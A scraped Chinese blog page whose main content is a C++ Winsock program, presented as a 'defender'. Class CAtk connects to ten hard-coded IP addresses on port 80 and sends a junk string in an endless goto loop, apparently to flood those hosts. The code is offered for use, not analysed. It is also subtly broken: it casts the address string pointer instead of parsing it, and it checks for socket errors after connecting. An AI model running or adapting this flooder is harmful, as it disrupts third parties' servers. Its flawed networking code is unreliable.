首页 > 其他分享 >封装一下防御器

封装一下防御器

时间:2024-06-01 15:43:30浏览次数:17  
标签:soc 封装 socket 一下 inster List ins 防御 include

///////////////////////////////////////////////////////////
using namespace std;

#include<stdlib.h>
#pragma comment(lib,"WS2_32.lib")
#include <corecrt_wstdlib.h>
#include <iostream>
#include<stdio.h>
#include <Windows.h>
#include<list>

////////////////////////////////////////////////////////////


class CAtk
{
public:
    WSADATA wsd;
    list<SOCKET> m_socket;

    int retVal;//调用Socket函数的返回值
    char buf[200];



    CAtk() {};
    ~CAtk() {};

    void Init()
    {
        //初始化Socket环境
        if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) {
            printf("WSAStartup failed!\n");
        }

        sprintf_s(buf, "鸟人猪守屎&烫烫&很甜懒子很园 4/0/7 ; *0.0000001f;  ;0* ;int 3; & Math_PI;");



        inster_List("104.21.42.44"); 
        
        inster_List("103.178.56.133");

        inster_List("38.12.18.7");

        inster_List("150.129.82.170");   
        
        inster_List("45.10.175.201");
        inster_List("139.224.133.126");
        inster_List("103.178.56.133");

        inster_List("58.217.250.18");

        inster_List("47.104.139.74");

        inster_List("154.29.148.11");
    };


    void inster_List(const char* IP)
    {
        if (IP == "")
        {
            return;
        }

        SOCKADDR_IN ins;
        ins.sin_addr.S_un.S_addr = (ULONG)IP;
        ins.sin_family = AF_INET;
        ins.sin_port = htons(80);

        SOCKET soc;
        soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        connect(soc, (LPSOCKADDR)&ins, sizeof(ins));

        if (INVALID_SOCKET == soc)
        {
            printf("socket failed!\n");
            return;
        }

        m_socket.push_back(soc);

    };


    void loopSend()
    {
        list<SOCKET>::iterator it = m_socket.begin();

    AS:
        if (it == m_socket.end())
        {
            it = m_socket.begin();
        }

        send(*it, buf, 200, 0);

        it++;

        goto AS;


    };
};


CAtk g_atk;

int main()
{
    g_atk.Init();

    //循环发送阻塞数据
    g_atk.loopSend();

    return 0;
};

 

标签:soc,封装,socket,一下,inster,List,ins,防御,include
From: https://www.cnblogs.com/wscccc/p/18226032

相关文章

  • Three.js是基于原生WebGL封装的三维引擎
    Three.js:基于原生WebGL封装的三维引擎引言随着互联网技术的发展,Web前端技术不断进步,用户对于网页交互体验的要求也越来越高。艾斯视觉前端开发:三维技术作为提升用户体验的重要手段之一,正在逐渐成为前端开发中的热门技术。Three.js作为一个轻量级、易于使用且功能强大的三维......
  • Ubuntu server 24 (Linux) Snort3 3.2.1.0 Guardian IPtables 联动实战 主动防御系统(
    一  Snort3安装配置,参考:Ubuntuserver24安装配置snort33.2.1.0网络入侵检测防御系统配置注册规则集-CSDN博客二  安装主动防御程序Guardian1下载,解压tarzxvfguardian-1.7.tar.gzcdguardian-1.7/2 配置#拷贝文件sudocpguardian.pl/usr/local/bin/......
  • 记录一下LogicFlow流程图在vue3中的简单使用,配置左侧菜单工具栏和右键菜单
     最终的效果配置画布首先通过npm安装LogicFlownpminstall@logicflow/core--save在vue页面引用LogicFlow和cssimportLogicFlowfrom"@logicflow/core";import"@logicflow/core/dist/style/index.css"; 创建div容器并添加ref<divid="container"ref=......
  • const filePath = fileURLToPath(new URL('plopfile.js', import.meta.url)); 解释一
    这段代码的作用是获取当前文件所在目录下的plopfile.js文件的绝对路径。这里是逐步解释:import.meta.url:这是ESModules中的一个元属性,它提供了当前模块的绝对URL。在Node.js环境中,当你在一个模块文件中访问import.meta.url时,它会返回该模块文件的文件系统路径转换成的URL格......
  • 【Java笔记】第八章:面向对象的三大特性[封装、继承、多态]
    一、封装1.目前程序存在的问题:程序没有进行数据安全检测,可能出现业务逻辑问题2.private:私有的,被private修饰的内容,只能在本类中使用3.给私有化的属性提供公开的get和set方法(1)set方法:为属性赋值   publicvoidset属性名(数据类型变量名){      ......
  • 鹅厂硬核的 【防御性编程实践】总结
    防御性编程,就是通过技术手段,把错误扼杀在萌芽阶段,或者把错误直观的暴露给开发者快速修复错误继续聚焦于业务。七年前,我们开始在项目中践行了全面的防御性编程,从多年的坚持下来看,稇载而归。今天翻出了以前总结的一篇文章,内容感觉还挺硬核的,很多做法非常有效,并且可以照搬,于是发出......
  • 『开摆向』封装万物
    为了节省写数据结构的时间方便建立多个相同的数据结构,准备把许多数据结构用结构体封装一下来用链式前向星namespacelsq{typedefintlsqxx;structlq{structlqbz{lsqxxv,w,nxt;}e[1000005];lsqxxh[1000005],cnt;......
  • Ubuntu server 24 安装配置 snort3 3.2.1.0 网络入侵检测防御系统 配置注册规则集
    一下载并安装源代码地址:https://github.com/snort3/snort3/releases#下载,解压wgethttps://github.com/snort3/snort3/archive/refs/tags/3.2.1.0.tar.gztarzxvf3.2.1.0.tar.gz二 安装软件依赖包1安装依赖包sudoaptupdatesudoaptinstallbuild-essentia......
  • Lua封装函数模块并由其他模块调用
    在Lua中,封装函数通常意味着将一组相关的功能组织在一起,然后通过模块的形式提供给其他脚本调用。Lua的模块可以是简单的脚本文件,也可以是返回一个表的脚本,表中包含了模块的所有公共函数和变量。以下是创建和使用Lua模块的基本步骤:1.创建模块创建一个Lua文件,比如mymodule.lua,并......
  • dotnet封装一个配置工具类
    usingMicrosoft.Extensions.Configuration;namespaceweb.tools;publicclasssettingHelper{publicstaticIConfiguration_config{get;set;}publicsettingHelper(IConfigurationconfiguration){_config=configuration;}//......